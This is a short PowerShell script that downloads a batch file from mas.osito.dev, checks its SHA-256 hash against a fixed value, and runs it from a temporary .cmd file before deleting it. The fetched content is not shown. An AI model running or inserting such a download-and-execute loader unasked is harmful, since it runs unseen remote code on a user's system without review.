$u='https://mas.osito.dev/m' $h='D6197CF6341FDA9F91B44DEE7BFF9C65EBD2A33ED16B7A77BB7E74684FD7CBBE' try { $r=Invoke-RestMethod $u -ErrorAction Stop } catch { Write-Warning "Download failed: $u" return } $c=[BitConverter]::ToString([Security.Cryptography.SHA256]::Create().ComputeHash([Text.Encoding]::UTF8.GetBytes($r))).Replace('-','') if($c -ne $h){ Write-Warning 'Hash mismatch. Aborting.' return } $t=[IO.Path]::GetTempFileName()+'.cmd' $r | Out-File $t -Encoding ascii Start-Process cmd -ArgumentList "/c $t" -Wait Remove-Item $t -Force -ErrorAction SilentlyContinue